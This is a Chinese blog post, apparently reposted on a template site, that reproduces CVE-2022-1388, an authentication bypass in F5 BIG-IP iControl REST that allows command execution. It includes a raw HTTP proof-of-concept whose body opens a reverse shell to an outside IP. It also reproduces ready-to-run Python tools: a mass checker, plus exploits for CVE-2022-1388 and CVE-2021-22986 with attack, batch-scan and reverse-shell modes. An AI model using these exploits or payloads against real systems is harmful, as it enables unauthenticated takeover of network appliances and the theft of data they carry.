F5 BIG-IP iControl REST命令执行(CVE-2022-1388)

这篇具有很好参考价值的文章主要介绍了F5 BIG-IP iControl REST命令执行(CVE-2022-1388)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

漏洞概述

2022年5月6日,F5官方发布了BIG-IP iControl REST的风险通告,漏洞编号为CVE-2022-1388,漏洞等级为严重。F5 BIG-IP是美国F5公司的一款集成了网络流量、应用程序安全管理、负载均衡等功能的应用交付平台。iControl REST是iControl框架的演变,使用REpresentational State Transfer。这允许用户或脚本与设备之间进行轻量级、快速的交互。
组件:F5 BIG-IP iControl REST
漏洞类型:身份验证绕过
影响:命令执行
简述:该漏洞允许未经身份验证的攻击者通过管理口或自 身ip地址对BIG-IP系统进行系统访问,以执行任 意系统命令,创建或删除文件以及禁用BIG-IP上的服务。

漏洞验证

版本:BIGIP-13.1.3.3-0.0.6
需要到F5官方去进行账号注册后,要半天时间才能收到激活邮件,才能下载F5的镜像,然后需要用邮件中发送的激活码将F5激活。F5安装激活教程,我这里选择的是低版本,系统用户账号密码:root/default,web密码:admin/admin。高版本激活比较复杂,还需要更改系统密码,web密码也有更改,在网上没找到。
F5官网:F5官网
F5下载地址:下载

访问F地址ip+/mgmt/shared/authn/login,如果返回中存在 resterrorresponse,则说明存在漏洞。
bigip漏洞,漏洞复现,tcp/ip,安全,web安全
poc :
重点字段是:X-F5-Auth-Token,Authorization,Connection,通过这几个完成攻击。

POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.0.104
X-F5-Auth-Token:'a'
Authorization:Basic YWRtaW46QVNhc1M=
Connection:Keep-alive,X-F5-Auth-Token
Content-Length: 82

{"command":"run","utilCmdArgs":"-c 'bash -i >&/dev/tcp/192.168.0.101/7777 0>&1'"} 

然后我对比了一下F5的CVE-2021-22986的poc两者之间差不多,只是绕过方式不一样,命令执行的接口都是一样的。

POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.1.123:8443
Connection: close
Content-Length: 39
Cache-Control: max-age=0
Authorization: Basic YWRtaW46QVNhc1M=
X-F5-Auth-Token: 
Upgrade-Insecure-Requests: 1
Content-Type: application/json

{"command":"run","utilCmdArgs":"-c id"}

重要字段:Authorization:,X-F5-Auth-Token,
CVE-2022-1388的脚本用于检测和攻击,来自github。
check.py

#!/usr/bin/python3.9
# -*- coding: utf-8 -*-
#
# Copyright (C) 2021 Caps, Inc. All Rights Reserved
#
# @Time    : 2022/5/7 23:40
# @Author  : Caps
# @Email   : admin@safeinfo.me
# @File    : check.py
# @Software: PyCharm
import requests
import argparse

requests.packages.urllib3.disable_warnings()


def usage():
    print('''
    +-----------------------------------------------------------------+
    漏洞名称: F5 BIG-IP iControl Rest API exposed Check
    功能:单个检测,批量检测                                     
    单个检测:python exp.py -u url
    批量检测:python exp.py -f url.txt
    +-----------------------------------------------------------------+                                     
    ''')


def check(url):
    try:
        target_url = url + "/mgmt/shared/authn/login"
        res = requests.get(target_url, verify=False, timeout=3)
        if "resterrorresponse" in res.text:
            print(f"\033[0;31;22m[+] Host: {url} F5 iControl Rest API exposed \033[0m")
        else:
            print(f"\033[0;32;22m[-] Host: {url} F5 not vulnerability \033[0m")
    except Exception as e:
        print(f"\033[0;33;22m[x] Host: {url} Connection Fail \033[0m")


def run(filepath):
    urls = [x.strip() for x in open(filepath, "r").readlines()]
    for u in urls:
        check(u)
    return check


def main():
    parse = argparse.ArgumentParser()
    parse.add_argument("-u", "--url", help="Please Poc.py -u host")
    parse.add_argument("-f", "--file", help="Please poc.py -f file")
    args = parse.parse_args()
    url = args.url
    filepath = args.file
    if url is not None and filepath is None:
        check(url)
    elif url is None and filepath is not None:
        run(filepath)
    else:
        usage()


if __name__ == '__main__':
    main()


exp.py

#!/usr/bin/python3.9
# -*- coding: utf-8 -*-
#
# Copyright (C) 2021 Caps, Inc. All Rights Reserved 
#
# @Time    : 2022/5/9 16:52
# @Author  : Caps
# @Email   : admin@safeinfo.me
# @File    : CVE-2022-1388.py
# @Software: PyCharm
import requests
import sys
import argparse
import json
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

t = int(time.time())


def title():
    print('''
     _____  _   _  _____        _____  _____  _____  _____        __   _____  _____  _____ 
    /  __ \| | | ||  ___|      / __  \|  _  |/ __  \/ __  \      /  | |____ ||  _  ||  _  |
    | /  \/| | | || |__  ______`' / /'| |/' |`' / /'`' / /'______`| |     / / \ V /  \ V / 
    | |    | | | ||  __||______| / /  |  /| |  / /    / / |______|| |     \ \ / _ \  / _ \ 
    | \__/\\ \_/ /| |___       ./ /___\ |_/ /./ /___./ /___      _| |_.___/ /| |_| || |_| |
     \____/ \___/ \____/       \_____/ \___/ \_____/\_____/      \___/\____/ \_____/\_____/                                                                                                                                                                                                                                                          
                                                        Author:Caps@BUGFOR
                                                        Github:https://github.com/bytecaps
    ''')
    print('''
        验证模式:python CVE_2022_1388.py -v true -u target_url 
        攻击模式:python CVE_2022_1388.py -a true -u target_url -c command 
        批量检测:python CVE_2022_1388.py -s true -f file
        反弹模式:python CVE_2022_1388.py -r true -u target_url -c command 
        ''')


def headers():
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
        'Content-Type': 'application/json',
        'Connection': 'keep-alive, x-F5-Auth-Token',
        'X-F5-Auth-Token': 'a',
        'Authorization': 'Basic YWRtaW46'
    }
    return headers


def check(target_url):
    check_url = target_url + '/mgmt/tm/util/bash'
    data = {'command': "run", 'utilCmdArgs': "-c id"}
    try:
        response = requests.post(url=check_url, json=data, headers=headers(), verify=False, timeout=5)
        if response.status_code == 200 and 'commandResult' in response.text:
            print("[+] 目标 {} 存在漏洞".format(target_url))
        else:
            print("[-] 目标 {} 不存在漏洞".format(target_url))
    except Exception as e:
        print('url 访问异常 {0}'.format(target_url))


def attack(target_url, cmd):
    attack_url = target_url + '/mgmt/tm/util/bash'
    data = {'command': "run", 'utilCmdArgs': "-c '{0}'".format(cmd)}
    try:
        response = requests.post(url=attack_url, json=data, headers=headers(), verify=False, timeout=5)
        if response.status_code == 200 and 'commandResult' in response.text:
            default = json.loads(response.text)
            display = default['commandResult']
            print("[+] 目标 {} 存在漏洞".format(target_url))
            print('[+] 响应为:{0}'.format(display))
        else:
            print("[-] 目标 {} 不存在漏洞".format(target_url))
    except Exception as e:
        print('url 访问异常 {0}'.format(target_url))


def reverse_shell(target_url, command):
    reverse_url = target_url + '/mgmt/tm/util/bash'
    data = {'command': "run", 'utilCmdArgs': "-c '{0}'".format(command)}
    # command: bash -i >&/dev/tcp/192.168.174.129/8888 0>&1
    try:
        requests.post(url=reverse_url, json=data, headers=headers(), verify=False, timeout=5)
    except Exception as e:
        print("[+] 请自行查看是否反弹shell回来")


def scan(file):
    for url_link in open(file, 'r', encoding='utf-8'):
        if url_link.strip() != '':
            url_path = format_url(url_link.strip())
            check(url_path)


def format_url(url):
    try:
        if url[:4] != "http":
            url = "https://" + url
            url = url.strip()
        return url
    except Exception as e:
        print('URL 错误 {0}'.format(url))


def main():
    parser = argparse.ArgumentParser("F5 Big-IP RCE")
    parser.add_argument('-v', '--verify', type=bool, help=' 验证模式 ')
    parser.add_argument('-u', '--url', type=str, help=' 目标URL ')

    parser.add_argument('-a', '--attack', type=bool, help=' 攻击模式 ')
    parser.add_argument('-c', '--command', type=str, default="id", help=' 执行命令 ')

    parser.add_argument('-s', '--scan', type=bool, help=' 批量模式 ')
    parser.add_argument('-f', '--file', type=str, help=' 文件路径 ')

    parser.add_argument('-r', '--shell', type=bool, help=' 反弹shell模式 ')
    args = parser.parse_args()

    verify_model = args.verify
    url = args.url

    attack_model = args.attack
    command = args.command

    scan_model = args.scan
    file = args.file

    shell_model = args.shell

    if verify_model is True and url is not None:
        check(url)
    elif attack_model is True and url is not None and command is not None:
        attack(url, command)
    elif scan_model is True and file is not None:
        scan(file)
    elif shell_model is True and url is not None and command is not None:
        reverse_shell(url, command)
    else:
        sys.exit(0)


if __name__ == '__main__':
    title()
    main()

CVE-2021-22986的exp:文章来源地址https://www.toymoban.com/news/detail-598814.html

import requests
import json
import sys
import argparse
import re
import json
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

t = int(time.time())

def title():
    print('''
      ______ ____    ____  _______       ___     ___    ___    __        ___    ___     ___     ___      __   
     /      |\   \  /   / |   ____|     |__ \   / _ \  |__ \  /_ |      |__ \  |__ \   / _ \   / _ \    / /   
    |  ,----' \   \/   /  |  |__    ______ ) | | | | |    ) |  | |  ______ ) |    ) | | (_) | | (_) |  / /_   
    |  |       \      /   |   __|  |______/ /  | | | |   / /   | | |______/ /    / /   \__, |  > _ <  | '_ \  
    |  `----.   \    /    |  |____       / /_  | |_| |  / /_   | |       / /_   / /_     / /  | (_) | | (_) | 
     \______|    \__/     |_______|     |____|  \___/  |____|  |_|      |____| |____|   /_/    \___/   \___/                                                                                                                                                                             
    
                                Author:Al1ex@Heptagram
                                Github:https://github.com/Al1ex
    ''')
    print('''
        验证模式:python CVE_2021_22986.py -v true -u target_url 
        攻击模式:python CVE_2021_22986.py -a true -u target_url -c command 
        批量检测:python CVE_2021_22986.py -s true -f file
        反弹模式:python CVE_2021_22986.py -r true -u target_url -c command 
        ''')

def check(target_url):
    check_url = target_url + '/mgmt/tm/util/bash'
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
        'Content-Type': 'application/json',
        'X-F5-Auth-Token': '',
        'Authorization': 'Basic YWRtaW46QVNhc1M='
    }
    data = {'command': "run",'utilCmdArgs':"-c id"}
    try:
        response = requests.post(url=check_url, json=data, headers=headers, verify=False, timeout=5)
        if response.status_code == 200 and 'commandResult' in response.text:
            print("[+] 目标 {} 存在漏洞".format(target_url))
        else:
            print("[-] 目标 {} 不存在漏洞".format(target_url))
    except Exception as e:
        print('url 访问异常 {0}'.format(target_url))

def attack(target_url,cmd):
    attack_url = target_url + '/mgmt/tm/util/bash'
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
        'Content-Type': 'application/json',
        'X-F5-Auth-Token': '',
        'Authorization': 'Basic YWRtaW46QVNhc1M='
    }

    data = {'command': "run",'utilCmdArgs':"-c '{0}'".format(cmd)}
    try:
        response = requests.post(url=attack_url, json=data, headers=headers, verify=False, timeout=5)
        if response.status_code == 200 and 'commandResult' in response.text:
            default = json.loads(response.text)
            display = default['commandResult']
            print("[+] 目标 {} 存在漏洞".format(target_url))
            print('[+] 响应为:{0}'.format(display))
        else:
            print("[-] 目标 {} 不存在漏洞".format(target_url))  
    except Exception as e:
        print('url 访问异常 {0}'.format(target_url))

def reverse_shell(target_url,command):
    reverse_url = target_url + '/mgmt/tm/util/bash'
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
        'Content-Type': 'application/json',
        'X-F5-Auth-Token': '',
        'Authorization': 'Basic YWRtaW46QVNhc1M='
    }

    data = {'command': "run",'utilCmdArgs':"-c '{0}'".format(command)}
    # command: bash -i >&/dev/tcp/192.168.174.129/8888 0>&1
    try:
        requests.post(url=reverse_url, json=data, headers=headers, verify=False, timeout=5)
    except Exception as e:
        print("[+] 请自行查看是否反弹shell回来")

def scan(file):
    for url_link in open(file, 'r', encoding='utf-8'):
            if url_link.strip() != '':
                url_path = format_url(url_link.strip())
                check(url_path)

def format_url(url):
    try:
        if url[:4] != "http":
            url = "https://" + url
            url = url.strip()
        return url
    except Exception as e:
        print('URL 错误 {0}'.format(url))


def main():
    parser = argparse.ArgumentParser("F5 Big-IP RCE")
    parser.add_argument('-v', '--verify', type=bool,help=' 验证模式 ')
    parser.add_argument('-u', '--url', type=str, help=' 目标URL ')

    parser.add_argument('-a', '--attack', type=bool, help=' 攻击模式 ')
    parser.add_argument('-c', '--command', type=str, default="id", help=' 执行命令 ')

    parser.add_argument('-s', '--scan', type=bool, help=' 批量模式 ')
    parser.add_argument('-f', '--file', type=str, help=' 文件路径 ')


    parser.add_argument('-r', '--shell', type=bool, help=' 反弹shell模式 ')
    args = parser.parse_args()

    verify_model = args.verify
    url = args.url

    attack_model = args.attack
    command = args.command

    scan_model = args.scan
    file = args.file

    shell_model = args.shell


    if verify_model is True and url !=None:
        check(url)
    elif attack_model is True and url != None and command != None:
        attack(url,command)
    elif scan_model is True and file != None:
        scan(file)
    elif shell_model is True and url != None and command != None:
        reverse_shell(url,command)
    else:
        sys.exit(0)     

if __name__ == '__main__':
    title()
    main()

到了这里,关于F5 BIG-IP iControl REST命令执行(CVE-2022-1388)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Cacti命令执行漏洞复现(CVE-2022-46169)

    Cacti项目是一个开源平台,可为用户提供强大且可扩展的操作监控和故障管理框架。在1.2.22版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。漏洞编号:CVE-2022-46169,漏洞等级:严重。 影响版本 Cacti == 1.2.22 不受影响版本

    2024年02月02日
    浏览(85)
  • TerraMaster TOS 远程命令执行(CVE-2022-24989)TerraMaster TOS 敏感信息泄露(CVE-2022-24990)

    一、漏洞名称 TerraMaster TOS 远程命令执行(CVE-2022-24989) TerraMaster TOS 敏感信息泄露(CVE-2022-24990) 二、影响版本 TerraMaster NAS 4.2.x 4.2.30 三、漏洞危害 远程命令执行 敏感信息泄露 四、POC EXP ¤ 五、资产搜索 fofa: app=“TERRAMASTER-NAS” 六、漏洞背景 / 参考 / 延申 TerraMaster TOS 可能允

    2024年02月03日
    浏览(52)
  • [JAVA安全]CVE-2022-33980命令执行漏洞分析

    在 i春秋的漏洞靶标上看见了此漏洞,所以前来分析一下漏洞原理,比较也是去年 7月的漏洞。 漏洞描述:Apache官方发布安全公告,修复了一个存在于Apache Commons Configuration 组件的远程代码执行漏洞,漏洞编号:CVE-2022-33980,漏洞威胁等级:高危。恶意攻击者通过该漏洞,可在

    2024年02月15日
    浏览(41)
  • 漏洞深度分析|CVE-2022-1471 SnakeYaml 命令执行漏洞

    YAML是一种数据序列化格式,设计用于人类的可读性和与脚本语言的交互。 SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。 https://github.com/snakeyaml/snakeyaml SnakeYaml通常使用方法如下: new Yaml(new Constructor(TestDataC

    2023年04月27日
    浏览(39)
  • Spring Boot 目录遍历--表达式注入--代码执行--(CVE-2021-21234)&&(CVE-2022-22963)&&(CVE-2022-22947)&&(CVE-2022-2296)

    spring-boot-actuator-logview 是一个简单的日志文件查看器作为Spring Boot执行器端点,在 0.2.13 版本之前存在着目录遍历漏洞,编号 CVE-2021-21234。漏洞本质是Spring Boot 执行器通过请求的参数来指定文件名和文件夹路径,经过组合拼接达到目录遍历,虽然源码中检查了文件名(filename)

    2024年02月08日
    浏览(37)
  • Atlassian Confluence远程代码执行漏洞(CVE-2022-26134)

    Atlassian Confluence远程代码执⾏漏洞(CVE-2022-26134),这是一个高危漏洞可通过该漏洞直接获取目标系统权限。 Atlassian Confluence是⼀个专业的企业知识管理与协同软件,主要⽤于公司内员⼯创建知识库并建⽴知识管理流程,也可以⽤于构建企业wiki。 之前看到过Confluence这个洞没太在

    2024年02月16日
    浏览(44)
  • 复现CVE-2022-10270(向日葵远程代码执行漏洞)

    目录 引言 漏洞描述 影响版本: 原理: 环境搭建 手动复现 脚本复现 修复建议         本文内容仅供学习参考,若读者利用本文内容做出违法行为,笔者不提供担保!!!         向日葵是一款免费的,集远程控制电脑手机、远程桌面连接、远程开机、远程管理、支持

    2024年02月07日
    浏览(48)
  • [CVE-2022-30190]MICROSOFT OFFICE MSDT代码执行漏洞

    MSDT(Microsoft Support Diagnostics Tool,微软支持诊断工具)是一个Windows实用程序,用于排除故障并收集诊断数据以供专业人员分析和解决问题。 Shadow Chaser Group 的研究人员在 Twitter 上表示,这个存在于Microsoft Support Diagnostic Tool中的漏洞已经于4月 12日报告给微软,并已经证明该漏洞

    2024年02月04日
    浏览(41)
  • Microsoft Office MSDT代码执行漏洞(CVE-2022-30190)漏洞复现

    本文章仅供学习和研究使用,严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。 该漏洞首次发现在2022 年 5 月 27 日,由白俄罗斯的一个 I

    2024年02月06日
    浏览(47)
  • 【漏洞复现】Microsoft Office MSDT 远程代码执行漏洞 (CVE-2022-30190)

    0x01 Microsoft Office Microsoft Office是由Microsoft(微软)公司开发的一套办公软件套装。常用组件有 Word、Excel、PowerPoint等。 0x02 漏洞简介 该文档使用 Word 远程模板功能从远程网络服务器检索 HTML 文件,该服务器使用 ms-msdt MSProtocol URI 方案加载代码并执行 PowerShell,禁用宏,仍能通过

    2024年02月05日
    浏览(93)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包